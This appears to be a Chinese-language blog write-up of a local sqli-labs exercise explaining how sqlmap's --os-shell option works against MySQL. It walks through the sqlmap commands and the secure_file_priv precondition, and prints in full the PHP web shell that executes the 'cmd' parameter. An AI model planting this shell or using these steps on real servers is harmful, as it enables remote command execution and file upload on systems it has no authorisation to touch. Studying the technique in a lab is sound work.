sqlmap —— os-shell参数分析
文章目錄
- 前言:
- 一、os-shell執行原理
- 二、測試環境:
- 三、過程演示
- 1、測試權限
- 2、攻擊
- 3、選擇語言
- 4、輸入絕對路徑
- 5、建立 os-shell 并執行命令
- 四、原理分析
- 總結:
前言:
最近在看sqlmap,發現--os-shell這個命令很厲害,所以來研究一下。
一、os-shell執行原理
對于 Mysql 數據庫來說,--os-shell的本質就是寫入兩個 php 文件,其中的一個可以讓我們用來執行命令,而另外一個可以讓我們可以上傳文件。
說到寫入文件,就要說一下上傳文件的兩個前提條件,首先我們要知道網站的絕對路徑(我們的文件寫入到哪里),然后要有導入導出的權限。
導入導出的權限在 Mysql 數據庫中是由 secure_file_priv 參數來控制的,當這個參數后面為 null 時,表示不允許導入導出,如果為具體文件夾時,表示僅允許在這個文件夾下導入導出,如果后面沒有值(為空)時,表示可以在任何文件夾下導入導出。
當 Mysql 5.7 版本以上的時候,secure_file_priv 參數的值默認為null,也就是說,如果管理員沒有修改過這個參數后面的數值的話,我們沒辦法在5.7以上版本使用--os-shell。
二、測試環境:
實驗環境是在本機上使用 phpstudy 搭建的 sqli-libs 靶場,并且假設我們已知網站絕對路徑。
三、過程演示
1、測試權限
首先,我們先測試是否為dba權限
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba
可以看到,當前用戶擁有dba的權限,接下來就可以使用--os-shell了。
2、攻擊
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell3、選擇語言
sqlmap默認為ASP,此處根據需求選擇。
4、輸入絕對路徑
選擇2選項,輸入絕對路徑,我這里為:C:/phpStudy/WWW
5、建立 os-shell 并執行命令
成功建立 os-shell 并執行命令!
四、原理分析
原理其實很簡單,就是用 into outfile 函數上傳了兩個php文件,如圖
一個是 tmpunszu.php,可以用來上傳文件,另一個是 tmpbjpgc.php,這個文件可以用來執行系統命令,并且將結果返回出來。
先來看下 tmpbjpgc.php文件,源碼如下:
<?php $c=$_REQUEST["cmd"]; @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $z=@ini_get('disable_functions'); if(!empty($z)) {$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);} else{$z=array();} $c=$c." 2>&1\n"; function f($n) {global $z; return is_callable($n)and!in_array($n,$z); } if(f('system')) {ob_start(); system($c); $w=ob_get_contents(); ob_end_clean(); }elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y); }elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "</pre>".$w."</pre>";?>'''上述代碼實現了 os-shell 得到命令后如何執行,以及輸出執行結果到 os-shell 中。我們可以直接通過該文件在網站URL里面往 cmd 傳參,執行系統命令。
我們來訪問一下 tmpunszu.php頁面
上傳一個php探針文件并訪問
訪問成功。
總結:
通過上述的分析,我們知道了sqlmap os-shell參數的用法以及原理,通過往服務器上寫入了兩個shell文件,實現了執行系統命令和上傳腳本文件的功能。🆗,本次分析到此結束。
參考文章:
https://www.cnblogs.com/Xiaoming0/p/13951894.html
https://www.cnblogs.com/lcamry/p/5505110.html
https://www.cnblogs.com/zzjdbk/p/13951047.html
總結
以上是生活随笔為你收集整理的sqlmap —— os-shell参数分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Docker容器学习(一)
- 下一篇: Linux操作系统总结